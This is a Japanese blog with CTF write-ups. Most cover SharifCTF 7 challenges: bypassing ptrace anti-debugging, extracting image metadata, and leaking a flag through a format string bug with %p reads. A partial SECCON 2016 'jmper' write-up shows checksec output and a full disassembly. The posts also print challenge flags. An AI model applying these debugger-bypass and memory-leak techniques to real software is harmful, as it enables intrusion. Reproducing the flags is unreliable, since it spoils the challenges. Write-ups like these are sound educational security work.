もふもふ

くんかくんか

SharifCTF 7

SCrack(Reverse150)

ptraceによるアンチデバッグなelf64が降ってくる。

nopで埋めてgdbでちまちま読む。

該当箇所

   0x0000000000400ad4 <+135>:   cmp    al,0x38
   0x0000000000400ad6 <+137>:   jne    0x400e98 <main+1099>
   0x0000000000400adc <+143>:   movzx  eax,BYTE PTR [rbp-0x4f]
   0x0000000000400ae0 <+147>:   cmp    al,0x37
   0x0000000000400ae2 <+149>:   jne    0x400e98 <main+1099>
   0x0000000000400ae8 <+155>:   movzx  eax,BYTE PTR [rbp-0x4e]
   0x0000000000400aec <+159>:   cmp    al,0x34
   0x0000000000400aee <+161>:   jne    0x400e98 <main+1099>
   0x0000000000400af4 <+167>:   movzx  eax,BYTE PTR [rbp-0x4d]
   0x0000000000400af8 <+171>:   cmp    al,0x30
   0x0000000000400afa <+173>:   jne    0x400e98 <main+1099>
   0x0000000000400b00 <+179>:   movzx  eax,BYTE PTR [rbp-0x4c]
   0x0000000000400b04 <+183>:   cmp    al,0x33
   0x0000000000400b06 <+185>:   jne    0x400e98 <main+1099>
   0x0000000000400b0c <+191>:   movzx  eax,BYTE PTR [rbp-0x4b]
   0x0000000000400b10 <+195>:   cmp    al,0x38
   0x0000000000400b12 <+197>:   jne    0x400e98 <main+1099>
   0x0000000000400b18 <+203>:   movzx  eax,BYTE PTR [rbp-0x4a]
   0x0000000000400b1c <+207>:   cmp    al,0x65
   0x0000000000400b1e <+209>:   jne    0x400e98 <main+1099>
   0x0000000000400b24 <+215>:   movzx  eax,BYTE PTR [rbp-0x49]
   0x0000000000400b28 <+219>:   cmp    al,0x34
   0x0000000000400b2a <+221>:   jne    0x400e98 <main+1099>
   0x0000000000400b30 <+227>:   movzx  eax,BYTE PTR [rbp-0x48]
   0x0000000000400b34 <+231>:   cmp    al,0x62
   0x0000000000400b36 <+233>:   jne    0x400e98 <main+1099>
   0x0000000000400b3c <+239>:   movzx  eax,BYTE PTR [rbp-0x47]
   0x0000000000400b40 <+243>:   cmp    al,0x36
   0x0000000000400b42 <+245>:   jne    0x400e98 <main+1099>
   0x0000000000400b48 <+251>:   movzx  eax,BYTE PTR [rbp-0x46]
   0x0000000000400b4c <+255>:   cmp    al,0x65
   0x0000000000400b4e <+257>:   jne    0x400e98 <main+1099>
   0x0000000000400b54 <+263>:   movzx  eax,BYTE PTR [rbp-0x45]
   0x0000000000400b58 <+267>:   cmp    al,0x32
   0x0000000000400b5a <+269>:   jne    0x400e98 <main+1099>
   0x0000000000400b60 <+275>:   movzx  eax,BYTE PTR [rbp-0x44]
   0x0000000000400b64 <+279>:   cmp    al,0x39
   0x0000000000400b66 <+281>:   jne    0x400e98 <main+1099>
   0x0000000000400b6c <+287>:   movzx  eax,BYTE PTR [rbp-0x43]
   0x0000000000400b70 <+291>:   cmp    al,0x62
   0x0000000000400b72 <+293>:   jne    0x400e98 <main+1099>
   0x0000000000400b78 <+299>:   movzx  eax,BYTE PTR [rbp-0x42]
   0x0000000000400b7c <+303>:   cmp    al,0x66
   0x0000000000400b7e <+305>:   jne    0x400e98 <main+1099>
   0x0000000000400b84 <+311>:   movzx  eax,BYTE PTR [rbp-0x41]
   0x0000000000400b88 <+315>:   cmp    al,0x30
   0x0000000000400b8a <+317>:   jne    0x400e98 <main+1099>
   0x0000000000400b90 <+323>:   movzx  eax,BYTE PTR [rbp-0x40]
   0x0000000000400b94 <+327>:   cmp    al,0x38
   0x0000000000400b96 <+329>:   jne    0x400e98 <main+1099>
   0x0000000000400b9c <+335>:   movzx  eax,BYTE PTR [rbp-0x3f]
   0x0000000000400ba0 <+339>:   cmp    al,0x39
   0x0000000000400ba2 <+341>:   jne    0x400e98 <main+1099>
   0x0000000000400ba8 <+347>:   movzx  eax,BYTE PTR [rbp-0x3e]
   0x0000000000400bac <+351>:   cmp    al,0x38
   0x0000000000400bae <+353>:   jne    0x400e98 <main+1099>
   0x0000000000400bb4 <+359>:   movzx  eax,BYTE PTR [rbp-0x3d]
   0x0000000000400bb8 <+363>:   cmp    al,0x62
   0x0000000000400bba <+365>:   jne    0x400e98 <main+1099>
   0x0000000000400bc0 <+371>:   movzx  eax,BYTE PTR [rbp-0x3c]
   0x0000000000400bc4 <+375>:   cmp    al,0x67
   0x0000000000400bc6 <+377>:   jne    0x400e98 <main+1099>
   0x0000000000400bcc <+383>:   movzx  eax,BYTE PTR [rbp-0x3b]
   0x0000000000400bd0 <+387>:   cmp    al,0x34
   0x0000000000400bd2 <+389>:   jne    0x400e98 <main+1099>
   0x0000000000400bd8 <+395>:   movzx  eax,BYTE PTR [rbp-0x3a]
   0x0000000000400bdc <+399>:   cmp    al,0x66
   0x0000000000400bde <+401>:   jne    0x400e98 <main+1099>
   0x0000000000400be4 <+407>:   movzx  eax,BYTE PTR [rbp-0x39]
   0x0000000000400be8 <+411>:   cmp    al,0x30
   0x0000000000400bea <+413>:   jne    0x400e98 <main+1099>
   0x0000000000400bf0 <+419>:   movzx  eax,BYTE PTR [rbp-0x38]
   0x0000000000400bf4 <+423>:   cmp    al,0x32
   0x0000000000400bf6 <+425>:   jne    0x400e98 <main+1099>
   0x0000000000400bfc <+431>:   movzx  eax,BYTE PTR [rbp-0x37]
   0x0000000000400c00 <+435>:   cmp    al,0x32
   0x0000000000400c02 <+437>:   jne    0x400e98 <main+1099>
   0x0000000000400c08 <+443>:   movzx  eax,BYTE PTR [rbp-0x36]
   0x0000000000400c0c <+447>:   cmp    al,0x35
   0x0000000000400c0e <+449>:   jne    0x400e98 <main+1099>
   0x0000000000400c14 <+455>:   movzx  eax,BYTE PTR [rbp-0x35]
   0x0000000000400c18 <+459>:   cmp    al,0x39
   0x0000000000400c1a <+461>:   jne    0x400e98 <main+1099>
   0x0000000000400c20 <+467>:   movzx  eax,BYTE PTR [rbp-0x34]
   0x0000000000400c24 <+471>:   cmp    al,0x33
   0x0000000000400c26 <+473>:   jne    0x400e98 <main+1099>
   0x0000000000400c2c <+479>:   movzx  eax,BYTE PTR [rbp-0x33]
   0x0000000000400c30 <+483>:   cmp    al,0x35
   0x0000000000400c32 <+485>:   jne    0x400e98 <main+1099>
   0x0000000000400c38 <+491>:   movzx  eax,BYTE PTR [rbp-0x32]
   0x0000000000400c3c <+495>:   cmp    al,0x63
   0x0000000000400c3e <+497>:   jne    0x400e98 <main+1099>
   0x0000000000400c44 <+503>:   movzx  eax,BYTE PTR [rbp-0x31]
   0x0000000000400c48 <+507>:   cmp    al,0x30
   0x0000000000400c4a <+509>:   jne    0x400e98 <main+1099>

pythonで復元

>>> [i[-2:] for i in b]
['38', '37', '34', '30', '33', '38', '65', '34', '62', '36', '65', '32', '39', '62', '66', '30', '38', '39', '38', '62', '67', '34', '66', '30', '32', '32', '35', '39', '33', '35', '63', '30', '']
>>> c = [i[-2:] for i in b]
>>> c[:-1]
['38', '37', '34', '30', '33', '38', '65', '34', '62', '36', '65', '32', '39', '62', '66', '30', '38', '39', '38', '62', '67', '34', '66', '30', '32', '32', '35', '39', '33', '35', '63', '30']
>>> c = c[:-1]
>>> [chr(int(i, 16)) for i in c]
['8', '7', '4', '0', '3', '8', 'e', '4', 'b', '6', 'e', '2', '9', 'b', 'f', '0', '8', '9', '8', 'b', 'g', '4', 'f', '0', '2', '2', '5', '9', '3', '5', 'c', '0']
>>> "".join([chr(int(i, 16)) for i in c])
'874038e4b6e29bf0898bg4f0225935c0'
>>> 
(gdb) c
Continuing.
Enter the valid key!
874038e4b6e29bf0898bg4f0225935c0
SharifCTF{ed97d286f356dadb5cde0902006c7deb}
[Inferior 1 (process 14982) exited normally]
(gdb) Quit

Camera Model(misc100)

画像が表示されるelfが降ってくる。

binwalkで中に埋め込まれてる画像を取り出してexiftoolで読むだけ。

ExifTool Version Number         : 10.10
File Name                       : 1538
Directory                       : .
File Size                       : 88 kB
File Modification Date/Time     : 2016:12:17 07:00:39+09:00
File Access Date/Time           : 2016:12:17 07:15:06+09:00
File Inode Change Date/Time     : 2016:12:17 07:00:39+09:00
File Permissions                : rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
Camera Model Name               : DSLR4781
Orientation                     : Horizontal (normal)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Software                        : GIMP 2.8.16
Modify Date                     : 2016:12:02 11:38:04
Exif Version                    : 0221
Flashpix Version                : 0100
Color Space                     : Uncalibrated
Exif Image Width                : 355
Exif Image Height               : 382
Compression                     : JPEG (old-style)
Thumbnail Offset                : 358
Thumbnail Length                : 9487
Already Applied                 : True
Color Mode                      : RGB
Create Date                     : 2015:09:08 15:22:28+04:30
Metadata Date                   : 2015:10:04 23:17:15+03:30
Format                          : image/jpeg
Instance ID                     : xmp.iid:740FF2C8C66AE51197CDBA27CE0AC1AC
Document ID                     : xmp.did:730FF2C8C66AE51197CDBA27CE0AC1AC
Original Document ID            : xmp.did:730FF2C8C66AE51197CDBA27CE0AC1AC
Image Length                    : 768
Photometric Interpretation      : RGB
Samples Per Pixel               : 3
Date Time                       : 2015:10:04 23:17:15
Flash Pix Version               : FlashPix Version 1.0
Image Width                     : 355
Image Height                    : 382
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 355x382
Megapixels                      : 0.136
Thumbnail Image                 : (Binary data 9487 bytes, use -b option to extract)

flag: SharifCTF{ccb7ed56eea6576263abeca4cdb03f62}

Pretty Raw(for150)

fileコマンドでdataと表示されるのでバイナリエディタで眺める。

下のほうにpngがくっ付いてるので取り出すと、exiftoolした結果の画像が出てくる。

なんとなくpngの上のほうがビットマップっぽく見えるのでexiftoolで表示されてるピクセル分上から取り出して拡張子を.dataにして開くと解けた。

f:id:b_tya_nya:20161219000621p:plain

Getit(rev50)

/tmp/flag.txtにflagを書き込んでくれる実行ファイルが与えられる。 ただし最後にremoveしてたりfprintfで上書きしてたりするので該当箇所をnopで埋めてやると正しいflagが得られる。

SharifCTF{b70c59275fcfa8aebf2d5911223c6589}

Guess(pwn50)

フォーマットストリングバグがあるのでとりあえず%pで読み出しまくる。

なんかそれっぽい文字列がありそうなところがあったので読むとflagだった。

0x5443666972616853
0x3832346435617b46
0x6237636363323336
0x6136633735336466
0x3561383761383231
>>> def get_text(t):
...   t = t.replace("0x", "")
...   ts = [t[i:i+2] for i in range(0, len(t), 2)]
...   tss = [chr(int(i, 16)) for i in ts]
...   return reversed(tss)
... 
>>> l = []
>>> l += get_text("0x5443666972616853")
>>> l += get_text("0x3832346435617b46")
>>> l += get_text("0x6237636363323336")
>>> l += get_text("0x6136633735336466")
>>> l += get_text("0x3561383761383231")
>>> "".join(l)
'SharifCTF{a5d428632ccc7bfd357c6a128a78a5'
>>> 

感想

こいつやるだけ問題しか解けねえよな状態

seccon2016 jmper

これは何ですか。

www.adventar.org

この記事はOUCC アドベントカレンダー 2016http://www.adventar.org/calendars/1389の12日目の記事の予定でしたが、完全に頭から抜けていたので13日目に公開されました。

昨日(一昨日)の記事は@okwrtdsh 先輩による「GitHubTravis Cを使って何かする」でした。

Introduction · GitBook

明日(今日)は @chiudesu 氏が何か書いてくれます。

ほんぺ

先日SECCON2016 Onlineがありました。 去年とはがらりと変わってバイナリオブザバイナリオブバイナリで殴り殺されました。(完)

というわけでその中で解けた(解けたとは言ってない)問題のwriteupを一問分置いておきます。 問題はjmper(Exploit300)です。溶けた!と思ったら15時を5分くらい過ぎてたので溶けてないです。 部員の中にはCTF何それおいしいのていう人もいると思うんで、どんな感じなのか雰囲気を感じ取ってもらえればよいかと思います。 とりあえず適当に書きなぐってるのでわかりにくいと思いますが雰囲気だけでも感じ取って下しえ。

らいとあっぷ

リモート鯖で動いてるelfバイナリとlibcが渡される。

目的は、脆弱な部分を見つけてshellを取り転がってるであろうflag(txtファイル)を読むこと。

まずchecksec.shでセキュリティ機構の確認。

tyanya@tyanya-VirtualBox:~/seccon/jumper$ /opt/checksec/checksec -f jmper 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  FORTIFY Fortified Fortifiable  FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No  0       4   jmper
tyanya@tyanya-VirtualBox:~/seccon/jumper$ /opt/checksec/checksec -f libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    DSO             No RPATH   No RUNPATH   Yes 78      166 libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e

disasはこちら

000000000040081d <f>:
  40081d:   55                      push   rbp
  40081e:   48 89 e5                mov    rbp,rsp
  400821:   48 83 ec 20             sub    rsp,0x20
  400825:   c7 05 f9 17 20 00 00    mov    DWORD PTR [rip+0x2017f9],0x0        # 602028 <student_num>
  40082c:   00 00 00 
  40082f:   bf e8 0c 40 00          mov    edi,0x400ce8
  400834:   e8 47 fe ff ff          call   400680 <puts@plt>
  400839:   48 8d 45 e8             lea    rax,[rbp-0x18]
  40083d:   48 89 c6                mov    rsi,rax
  400840:   bf 3c 0d 40 00          mov    edi,0x400d3c
  400845:   b8 00 00 00 00          mov    eax,0x0
  40084a:   e8 c1 fe ff ff          call   400710 <__isoc99_scanf@plt>
  40084f:   e8 6c fe ff ff          call   4006c0 <getchar@plt>
  400854:   8b 45 e8                mov    eax,DWORD PTR [rbp-0x18]
  400857:   83 f8 01                cmp    eax,0x1
  40085a:   0f 85 88 00 00 00       jne    4008e8 <f+0xcb>
  400860:   8b 05 c2 17 20 00       mov    eax,DWORD PTR [rip+0x2017c2]        # 602028 <student_num>
  400866:   83 f8 1d                cmp    eax,0x1d
  400869:   7e 1e                   jle    400889 <f+0x6c>
  40086b:   bf 3f 0d 40 00          mov    edi,0x400d3f
  400870:   e8 0b fe ff ff          call   400680 <puts@plt>
  400875:   48 8b 05 bc 17 20 00    mov    rax,QWORD PTR [rip+0x2017bc]        # 602038 <jmpbuf>
  40087c:   be 52 bf 01 00          mov    esi,0x1bf52
  400881:   48 89 c7                mov    rdi,rax
  400884:   e8 77 fe ff ff          call   400700 <longjmp@plt>
  400889:   bf 30 00 00 00          mov    edi,0x30
  40088e:   e8 4d fe ff ff          call   4006e0 <malloc@plt>
  400893:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  400897:   8b 05 8b 17 20 00       mov    eax,DWORD PTR [rip+0x20178b]        # 602028 <student_num>
  40089d:   48 63 d0                movsxd rdx,eax
  4008a0:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  4008a4:   48 89 10                mov    QWORD PTR [rax],rdx
  4008a7:   bf 20 00 00 00          mov    edi,0x20
  4008ac:   e8 2f fe ff ff          call   4006e0 <malloc@plt>
  4008b1:   48 89 c2                mov    rdx,rax
  4008b4:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  4008b8:   48 89 50 28             mov    QWORD PTR [rax+0x28],rdx
  4008bc:   48 8b 05 6d 17 20 00    mov    rax,QWORD PTR [rip+0x20176d]        # 602030 <my_class>
  4008c3:   8b 15 5f 17 20 00       mov    edx,DWORD PTR [rip+0x20175f]        # 602028 <student_num>
  4008c9:   48 63 d2                movsxd rdx,edx
  4008cc:   48 8b 4d f8             mov    rcx,QWORD PTR [rbp-0x8]
  4008d0:   48 89 0c d0             mov    QWORD PTR [rax+rdx*8],rcx
  4008d4:   8b 05 4e 17 20 00       mov    eax,DWORD PTR [rip+0x20174e]        # 602028 <student_num>
  4008da:   83 c0 01                add    eax,0x1
  4008dd:   89 05 45 17 20 00       mov    DWORD PTR [rip+0x201745],eax        # 602028 <student_num>
  4008e3:   e9 bb 02 00 00          jmp    400ba3 <f+0x386>
  4008e8:   8b 45 e8                mov    eax,DWORD PTR [rbp-0x18]
  4008eb:   83 f8 02                cmp    eax,0x2
  4008ee:   0f 85 bf 00 00 00       jne    4009b3 <f+0x196>
  4008f4:   be 5d 0d 40 00          mov    esi,0x400d5d
  4008f9:   bf 61 0d 40 00          mov    edi,0x400d61
  4008fe:   b8 00 00 00 00          mov    eax,0x0
  400903:   e8 88 fd ff ff          call   400690 <printf@plt>
  400908:   48 8d 45 e4             lea    rax,[rbp-0x1c]
  40090c:   48 89 c6                mov    rsi,rax
  40090f:   bf 3c 0d 40 00          mov    edi,0x400d3c
  400914:   b8 00 00 00 00          mov    eax,0x0
  400919:   e8 f2 fd ff ff          call   400710 <__isoc99_scanf@plt>
  40091e:   e8 9d fd ff ff          call   4006c0 <getchar@plt>
  400923:   8b 55 e4                mov    edx,DWORD PTR [rbp-0x1c]
  400926:   8b 05 fc 16 20 00       mov    eax,DWORD PTR [rip+0x2016fc]        # 602028 <student_num>
  40092c:   39 c2                   cmp    edx,eax
  40092e:   7d 07                   jge    400937 <f+0x11a>
  400930:   8b 45 e4                mov    eax,DWORD PTR [rbp-0x1c]
  400933:   85 c0                   test   eax,eax
  400935:   79 14                   jns    40094b <f+0x12e>
  400937:   bf 64 0d 40 00          mov    edi,0x400d64
  40093c:   e8 3f fd ff ff          call   400680 <puts@plt>
  400941:   bf 01 00 00 00          mov    edi,0x1
  400946:   e8 d5 fd ff ff          call   400720 <exit@plt>
  40094b:   be 70 0d 40 00          mov    esi,0x400d70
  400950:   bf 61 0d 40 00          mov    edi,0x400d61
  400955:   b8 00 00 00 00          mov    eax,0x0
  40095a:   e8 31 fd ff ff          call   400690 <printf@plt>
  40095f:   48 8b 05 ca 16 20 00    mov    rax,QWORD PTR [rip+0x2016ca]        # 602030 <my_class>
  400966:   8b 55 e4                mov    edx,DWORD PTR [rbp-0x1c]
  400969:   48 63 d2                movsxd rdx,edx
  40096c:   48 8b 04 d0             mov    rax,QWORD PTR [rax+rdx*8]
  400970:   48 8b 40 28             mov    rax,QWORD PTR [rax+0x28]
  400974:   48 89 45 f0             mov    QWORD PTR [rbp-0x10],rax
  400978:   c7 45 ec 00 00 00 00    mov    DWORD PTR [rbp-0x14],0x0
  40097f:   eb 27                   jmp    4009a8 <f+0x18b>
  400981:   e8 3a fd ff ff          call   4006c0 <getchar@plt>
  400986:   88 45 e3                mov    BYTE PTR [rbp-0x1d],al
  400989:   80 7d e3 0a             cmp    BYTE PTR [rbp-0x1d],0xa
  40098d:   75 06                   jne    400995 <f+0x178>
  40098f:   90                      nop
  400990:   e9 0e 02 00 00          jmp    400ba3 <f+0x386>
  400995:   48 8b 45 f0             mov    rax,QWORD PTR [rbp-0x10]
  400999:   0f b6 55 e3             movzx  edx,BYTE PTR [rbp-0x1d]
  40099d:   88 10                   mov    BYTE PTR [rax],dl
  40099f:   48 83 45 f0 01          add    QWORD PTR [rbp-0x10],0x1
  4009a4:   83 45 ec 01             add    DWORD PTR [rbp-0x14],0x1
  4009a8:   83 7d ec 20             cmp    DWORD PTR [rbp-0x14],0x20
  4009ac:   7e d3                   jle    400981 <f+0x164>
  4009ae:   e9 f0 01 00 00          jmp    400ba3 <f+0x386>
  4009b3:   8b 45 e8                mov    eax,DWORD PTR [rbp-0x18]
  4009b6:   83 f8 03                cmp    eax,0x3
  4009b9:   0f 85 bf 00 00 00       jne    400a7e <f+0x261>
  4009bf:   be 5d 0d 40 00          mov    esi,0x400d5d
  4009c4:   bf 61 0d 40 00          mov    edi,0x400d61
  4009c9:   b8 00 00 00 00          mov    eax,0x0
  4009ce:   e8 bd fc ff ff          call   400690 <printf@plt>
  4009d3:   48 8d 45 e4             lea    rax,[rbp-0x1c]
  4009d7:   48 89 c6                mov    rsi,rax
  4009da:   bf 3c 0d 40 00          mov    edi,0x400d3c
  4009df:   b8 00 00 00 00          mov    eax,0x0
  4009e4:   e8 27 fd ff ff          call   400710 <__isoc99_scanf@plt>
  4009e9:   e8 d2 fc ff ff          call   4006c0 <getchar@plt>
  4009ee:   8b 55 e4                mov    edx,DWORD PTR [rbp-0x1c]
  4009f1:   8b 05 31 16 20 00       mov    eax,DWORD PTR [rip+0x201631]        # 602028 <student_num>
  4009f7:   39 c2                   cmp    edx,eax
  4009f9:   7d 07                   jge    400a02 <f+0x1e5>
  4009fb:   8b 45 e4                mov    eax,DWORD PTR [rbp-0x1c]
  4009fe:   85 c0                   test   eax,eax
  400a00:   79 14                   jns    400a16 <f+0x1f9>
  400a02:   bf 64 0d 40 00          mov    edi,0x400d64
  400a07:   e8 74 fc ff ff          call   400680 <puts@plt>
  400a0c:   bf 01 00 00 00          mov    edi,0x1
  400a11:   e8 0a fd ff ff          call   400720 <exit@plt>
  400a16:   be 7c 0d 40 00          mov    esi,0x400d7c
  400a1b:   bf 61 0d 40 00          mov    edi,0x400d61
  400a20:   b8 00 00 00 00          mov    eax,0x0
  400a25:   e8 66 fc ff ff          call   400690 <printf@plt>
  400a2a:   48 8b 05 ff 15 20 00    mov    rax,QWORD PTR [rip+0x2015ff]        # 602030 <my_class>
  400a31:   8b 55 e4                mov    edx,DWORD PTR [rbp-0x1c]
  400a34:   48 63 d2                movsxd rdx,edx
  400a37:   48 8b 04 d0             mov    rax,QWORD PTR [rax+rdx*8]
  400a3b:   48 83 c0 08             add    rax,0x8
  400a3f:   48 89 45 f0             mov    QWORD PTR [rbp-0x10],rax
  400a43:   c7 45 ec 00 00 00 00    mov    DWORD PTR [rbp-0x14],0x0
  400a4a:   eb 27                   jmp    400a73 <f+0x256>
  400a4c:   e8 6f fc ff ff          call   4006c0 <getchar@plt>
  400a51:   88 45 e3                mov    BYTE PTR [rbp-0x1d],al
  400a54:   80 7d e3 0a             cmp    BYTE PTR [rbp-0x1d],0xa
  400a58:   75 06                   jne    400a60 <f+0x243>
  400a5a:   90                      nop
  400a5b:   e9 43 01 00 00          jmp    400ba3 <f+0x386>
  400a60:   48 8b 45 f0             mov    rax,QWORD PTR [rbp-0x10]
  400a64:   0f b6 55 e3             movzx  edx,BYTE PTR [rbp-0x1d]
  400a68:   88 10                   mov    BYTE PTR [rax],dl
  400a6a:   48 83 45 f0 01          add    QWORD PTR [rbp-0x10],0x1
  400a6f:   83 45 ec 01             add    DWORD PTR [rbp-0x14],0x1
  400a73:   83 7d ec 20             cmp    DWORD PTR [rbp-0x14],0x20
  400a77:   7e d3                   jle    400a4c <f+0x22f>
  400a79:   e9 25 01 00 00          jmp    400ba3 <f+0x386>
  400a7e:   8b 45 e8                mov    eax,DWORD PTR [rbp-0x18]
  400a81:   83 f8 04                cmp    eax,0x4
  400a84:   0f 85 83 00 00 00       jne    400b0d <f+0x2f0>
  400a8a:   be 5d 0d 40 00          mov    esi,0x400d5d
  400a8f:   bf 61 0d 40 00          mov    edi,0x400d61
  400a94:   b8 00 00 00 00          mov    eax,0x0
  400a99:   e8 f2 fb ff ff          call   400690 <printf@plt>
  400a9e:   48 8d 45 e4             lea    rax,[rbp-0x1c]
  400aa2:   48 89 c6                mov    rsi,rax
  400aa5:   bf 3c 0d 40 00          mov    edi,0x400d3c
  400aaa:   b8 00 00 00 00          mov    eax,0x0
  400aaf:   e8 5c fc ff ff          call   400710 <__isoc99_scanf@plt>
  400ab4:   e8 07 fc ff ff          call   4006c0 <getchar@plt>
  400ab9:   8b 55 e4                mov    edx,DWORD PTR [rbp-0x1c]
  400abc:   8b 05 66 15 20 00       mov    eax,DWORD PTR [rip+0x201566]        # 602028 <student_num>
  400ac2:   39 c2                   cmp    edx,eax
  400ac4:   7d 07                   jge    400acd <f+0x2b0>
  400ac6:   8b 45 e4                mov    eax,DWORD PTR [rbp-0x1c]
  400ac9:   85 c0                   test   eax,eax
  400acb:   79 14                   jns    400ae1 <f+0x2c4>
  400acd:   bf 64 0d 40 00          mov    edi,0x400d64
  400ad2:   e8 a9 fb ff ff          call   400680 <puts@plt>
  400ad7:   bf 01 00 00 00          mov    edi,0x1
  400adc:   e8 3f fc ff ff          call   400720 <exit@plt>
  400ae1:   48 8b 05 48 15 20 00    mov    rax,QWORD PTR [rip+0x201548]        # 602030 <my_class>
  400ae8:   8b 55 e4                mov    edx,DWORD PTR [rbp-0x1c]
  400aeb:   48 63 d2                movsxd rdx,edx
  400aee:   48 8b 04 d0             mov    rax,QWORD PTR [rax+rdx*8]
  400af2:   48 8b 40 28             mov    rax,QWORD PTR [rax+0x28]
  400af6:   48 89 c6                mov    rsi,rax
  400af9:   bf 61 0d 40 00          mov    edi,0x400d61
  400afe:   b8 00 00 00 00          mov    eax,0x0
  400b03:   e8 88 fb ff ff          call   400690 <printf@plt>
  400b08:   e9 96 00 00 00          jmp    400ba3 <f+0x386>
  400b0d:   8b 45 e8                mov    eax,DWORD PTR [rbp-0x18]
  400b10:   83 f8 05                cmp    eax,0x5
  400b13:   0f 85 80 00 00 00       jne    400b99 <f+0x37c>
  400b19:   be 5d 0d 40 00          mov    esi,0x400d5d
  400b1e:   bf 61 0d 40 00          mov    edi,0x400d61
  400b23:   b8 00 00 00 00          mov    eax,0x0
  400b28:   e8 63 fb ff ff          call   400690 <printf@plt>
  400b2d:   48 8d 45 e4             lea    rax,[rbp-0x1c]
  400b31:   48 89 c6                mov    rsi,rax
  400b34:   bf 3c 0d 40 00          mov    edi,0x400d3c
  400b39:   b8 00 00 00 00          mov    eax,0x0
  400b3e:   e8 cd fb ff ff          call   400710 <__isoc99_scanf@plt>
  400b43:   e8 78 fb ff ff          call   4006c0 <getchar@plt>
  400b48:   8b 55 e4                mov    edx,DWORD PTR [rbp-0x1c]
  400b4b:   8b 05 d7 14 20 00       mov    eax,DWORD PTR [rip+0x2014d7]        # 602028 <student_num>
  400b51:   39 c2                   cmp    edx,eax
  400b53:   7d 07                   jge    400b5c <f+0x33f>
  400b55:   8b 45 e4                mov    eax,DWORD PTR [rbp-0x1c]
  400b58:   85 c0                   test   eax,eax
  400b5a:   79 14                   jns    400b70 <f+0x353>
  400b5c:   bf 64 0d 40 00          mov    edi,0x400d64
  400b61:   e8 1a fb ff ff          call   400680 <puts@plt>
  400b66:   bf 01 00 00 00          mov    edi,0x1
  400b6b:   e8 b0 fb ff ff          call   400720 <exit@plt>
  400b70:   48 8b 05 b9 14 20 00    mov    rax,QWORD PTR [rip+0x2014b9]        # 602030 <my_class>
  400b77:   8b 55 e4                mov    edx,DWORD PTR [rbp-0x1c]
  400b7a:   48 63 d2                movsxd rdx,edx
  400b7d:   48 8b 04 d0             mov    rax,QWORD PTR [rax+rdx*8]
  400b81:   48 83 c0 08             add    rax,0x8
  400b85:   48 89 c6                mov    rsi,rax
  400b88:   bf 61 0d 40 00          mov    edi,0x400d61
  400b8d:   b8 00 00 00 00          mov    eax,0x0
  400b92:   e8 f9 fa ff ff          call   400690 <printf@plt>
  400b97:   eb 0a                   jmp    400ba3 <f+0x386>
  400b99:   bf 00 00 00 00          mov    edi,0x0
  400b9e:   e8 7d fb ff ff          call   400720 <exit@plt>
  400ba3:   e9 87 fc ff ff          jmp    40082f <f+0x12>

0000000000400ba8 <main>:
  400ba8:   55                      push   rbp
  400ba9:   48 89 e5                mov    rbp,rsp
  400bac:   48 83 ec 10             sub    rsp,0x10
  400bb0:   48 8b 05 61 14 20 00    mov    rax,QWORD PTR [rip+0x201461]        # 602018 <stdin@@GLIBC_2.2.5>
  400bb7:   b9 00 00 00 00          mov    ecx,0x0
  400bbc:   ba 02 00 00 00          mov    edx,0x2
  400bc1:   be 00 00 00 00          mov    esi,0x0
  400bc6:   48 89 c7                mov    rdi,rax
  400bc9:   e8 22 fb ff ff          call   4006f0 <setvbuf@plt>
  400bce:   48 8b 05 3b 14 20 00    mov    rax,QWORD PTR [rip+0x20143b]        # 602010 <__TMC_END__>
  400bd5:   b9 00 00 00 00          mov    ecx,0x0
  400bda:   ba 02 00 00 00          mov    edx,0x2
  400bdf:   be 00 00 00 00          mov    esi,0x0
  400be4:   48 89 c7                mov    rdi,rax
  400be7:   e8 04 fb ff ff          call   4006f0 <setvbuf@plt>
  400bec:   bf 88 0d 40 00          mov    edi,0x400d88
  400bf1:   e8 8a fa ff ff          call   400680 <puts@plt>
  400bf6:   bf a0 0d 40 00          mov    edi,0x400da0
  400bfb:   e8 80 fa ff ff          call   400680 <puts@plt>
  400c00:   bf f0 00 00 00          mov    edi,0xf0
  400c05:   e8 d6 fa ff ff          call   4006e0 <malloc@plt>
  400c0a:   48 89 05 1f 14 20 00    mov    QWORD PTR [rip+0x20141f],rax        # 602030 <my_class>
  400c11:   bf c8 00 00 00          mov    edi,0xc8
  400c16:   e8 c5 fa ff ff          call   4006e0 <malloc@plt>
  400c1b:   48 89 05 16 14 20 00    mov    QWORD PTR [rip+0x201416],rax        # 602038 <jmpbuf>
  400c22:   48 8b 05 0f 14 20 00    mov    rax,QWORD PTR [rip+0x20140f]        # 602038 <jmpbuf>
  400c29:   48 89 c7                mov    rdi,rax
  400c2c:   e8 7f fa ff ff          call   4006b0 <_setjmp@plt>
  400c31:   89 45 fc                mov    DWORD PTR [rbp-0x4],eax
  400c34:   83 7d fc 00             cmp    DWORD PTR [rbp-0x4],0x0
  400c38:   75 07                   jne    400c41 <main+0x99>
  400c3a:   e8 de fb ff ff          call   40081d <f>
  400c3f:   eb 0a                   jmp    400c4b <main+0xa3>
  400c41:   bf bf 0d 40 00          mov    edi,0x400dbf
  400c46:   e8 35 fa ff ff          call   400680 <puts@plt>
  400c4b:   b8 00 00 00 00          mov    eax,0x0
  400c50:   c9                      leave  
  400c51:   c3                      ret    
  400c52:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
  400c59:   00 00 00 
  400c5c:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]
 

気合で怪しいところを探す。この手に限る(この手しか知らない)

怪しいところの図。 f:id:b_tya_nya:20161213045940p:plain

